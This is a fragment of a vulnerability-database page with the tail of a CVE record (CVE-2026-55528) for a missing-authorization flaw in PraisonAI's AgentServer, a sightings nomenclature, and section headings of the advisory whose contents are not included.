            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
            "version": "3.1"
          }
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          "descriptions": [
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              "lang": "en",
              "type": "CWE"
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        {
          "descriptions": [
            {
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              "description": "CWE-862: Missing Authorization",
              "lang": "en",
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          ]
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      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-25T14:32:05.929Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
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        {
          "name": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7g3p-92qq-8wvh",
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          "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7g3p-92qq-8wvh"
        },
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        "discovery": "UNKNOWN"
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      "title": "praisonaiagents: AgentServer declares auth_token but never enforces it on any route (CWE-862)"
    }
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  "cveMetadata": {
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}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-7G3P-92QQ-8WVH

TL;DR

Root cause

Sibling proof — the same package gets it right elsewhere

Affected routes (empirically tested)

Impact

Anchors

Reproduction (empirical PoC)

Suggested fix

Steps to reproduce

Proof of concept

Verification harness (executed against the cloned repo)

Verified result

Credit

CVE-2026-55528 (GCVE-0-2026-55528)

Tags

Sightings

Nomenclature